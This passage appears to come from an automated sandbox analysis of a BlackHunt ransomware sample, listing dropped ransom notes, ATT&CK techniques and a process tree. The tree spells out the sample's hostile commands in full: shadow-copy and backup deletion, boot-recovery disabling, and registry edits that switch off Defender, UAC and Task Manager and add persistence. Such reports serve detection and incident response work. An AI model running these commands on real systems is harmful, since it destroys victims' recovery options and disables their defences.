File opened for modification	C:\Program Files\7-Zip\7-zip.chm	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\DVD Maker\fr-FR\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.jarprocessor.nl_zh_4.4.0.v20140623020002.jar	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-sendopts_zh_CN.jar	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.felix.gogo.command_0.10.0.v201209301215.jar	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lt\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\bin\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\AccessBridgeCalls.c	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\vlc.mo	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-5	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_filter\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-14	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Mauritius	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-swing-outline.xml	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fi\#BlackHunt_ReadMe.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\1047x576black.png	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Port_of_Spain	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.core_5.5.0.165303.jar	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.update.configurator_3.3.300.v20140518-1928.jar	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\babypink.png	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\15x15dot.png	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\javacpl.cpl	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\#BlackHunt_ReadMe.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Inuvik	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\#BlackHunt_ReadMe.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\MANIFEST.MF	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-dialogs.xml	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ta.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_ko_KR.jar	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\epl-v10.html	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\vlc16x16.png	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-lib-profiler-ui.xml	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-heapwalker.jar	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1968	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1628	vssadmin.exe
1920	vssadmin.exe
1852	vssadmin.exe
2516	vssadmin.exe
1336	vssadmin.exe
1680	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3824	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2168	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1768	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Token: SeRestorePrivilege	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Token: SeBackupPrivilege	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Token: SeTakeOwnershipPrivilege	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Token: SeAuditPrivilege	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Token: SeSecurityPrivilege	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Token: SeIncBasePriorityPrivilege	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Token: SeBackupPrivilege	2064	wbengine.exe
Token: SeRestorePrivilege	2064	wbengine.exe
Token: SeSecurityPrivilege	2064	wbengine.exe
Token: SeBackupPrivilege	2260	Process not Found
Token: SeRestorePrivilege	2260	Process not Found
Token: SeAuditPrivilege	2260	Process not Found
Token: SeSecurityPrivilege	3140	wevtutil.exe
Token: SeBackupPrivilege	3140	wevtutil.exe
Token: SeSecurityPrivilege	1600	wevtutil.exe
Token: SeBackupPrivilege	1600	wevtutil.exe
Token: SeSecurityPrivilege	1280	wevtutil.exe
Token: SeBackupPrivilege	1280	wevtutil.exe
Token: SeSecurityPrivilege	1332	wevtutil.exe
Token: SeBackupPrivilege	1332	wevtutil.exe
Token: SeSecurityPrivilege	892	wevtutil.exe
Token: SeBackupPrivilege	892	wevtutil.exe
Token: SeDebugPrivilege	3824	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2688 wrote to memory of 1204	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	156
PID 2688 wrote to memory of 1204	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	156
PID 2688 wrote to memory of 1204	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	156
PID 2688 wrote to memory of 1204	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	156
PID 2688 wrote to memory of 2156	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	154
PID 2688 wrote to memory of 2156	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	154
PID 2688 wrote to memory of 2156	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	154
PID 2688 wrote to memory of 2156	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	154
PID 2688 wrote to memory of 2256	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	152
PID 2688 wrote to memory of 2256	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	152
PID 2688 wrote to memory of 2256	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	152
PID 2688 wrote to memory of 2256	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	152
PID 1204 wrote to memory of 2360	1204	cmd.exe	150
PID 1204 wrote to memory of 2360	1204	cmd.exe	150
PID 1204 wrote to memory of 2360	1204	cmd.exe	150
PID 2688 wrote to memory of 1028	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	149
PID 2688 wrote to memory of 1028	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	149
PID 2688 wrote to memory of 1028	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	149
PID 2688 wrote to memory of 1028	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	149
PID 2688 wrote to memory of 2828	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	29
PID 2688 wrote to memory of 2828	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	29
PID 2688 wrote to memory of 2828	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	29
PID 2688 wrote to memory of 2828	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	29
PID 2156 wrote to memory of 2840	2156	cmd.exe	146
PID 2156 wrote to memory of 2840	2156	cmd.exe	146
PID 2156 wrote to memory of 2840	2156	cmd.exe	146
PID 2688 wrote to memory of 3004	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	145
PID 2688 wrote to memory of 3004	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	145
PID 2688 wrote to memory of 3004	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	145
PID 2688 wrote to memory of 3004	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	145
PID 2688 wrote to memory of 2816	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	144
PID 2688 wrote to memory of 2816	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	144
PID 2688 wrote to memory of 2816	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	144
PID 2688 wrote to memory of 2816	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	144
PID 2688 wrote to memory of 2988	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	141
PID 2688 wrote to memory of 2988	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	141
PID 2688 wrote to memory of 2988	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	141
PID 2688 wrote to memory of 2988	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	141
PID 2688 wrote to memory of 2636	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	138
PID 2688 wrote to memory of 2636	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	138
PID 2688 wrote to memory of 2636	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	138
PID 2688 wrote to memory of 2636	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	138
PID 2256 wrote to memory of 2912	2256	cmd.exe	137
PID 2256 wrote to memory of 2912	2256	cmd.exe	137
PID 2256 wrote to memory of 2912	2256	cmd.exe	137
PID 2688 wrote to memory of 2808	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	30
PID 2688 wrote to memory of 2808	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	30
PID 2688 wrote to memory of 2808	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	30
PID 2688 wrote to memory of 2808	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	30
PID 2688 wrote to memory of 2696	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	226
PID 2688 wrote to memory of 2696	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	226
PID 2688 wrote to memory of 2696	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	226
PID 2688 wrote to memory of 2696	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	226
PID 2688 wrote to memory of 2652	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	133
PID 2688 wrote to memory of 2652	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	133
PID 2688 wrote to memory of 2652	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	133
PID 2688 wrote to memory of 2652	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	133
PID 2828 wrote to memory of 2784	2828	cmd.exe	134
PID 2828 wrote to memory of 2784	2828	cmd.exe	134
PID 2828 wrote to memory of 2784	2828	cmd.exe	134
PID 2688 wrote to memory of 2720	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	132
PID 2688 wrote to memory of 2720	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	132
PID 2688 wrote to memory of 2720	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	132
PID 2688 wrote to memory of 2720	2688	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	132

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
"C:\Users\Admin\AppData\Local\Temp\6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:344
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe" /F
  2⤵
  PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:3004
- C:\Windows\System32\cmd.exe
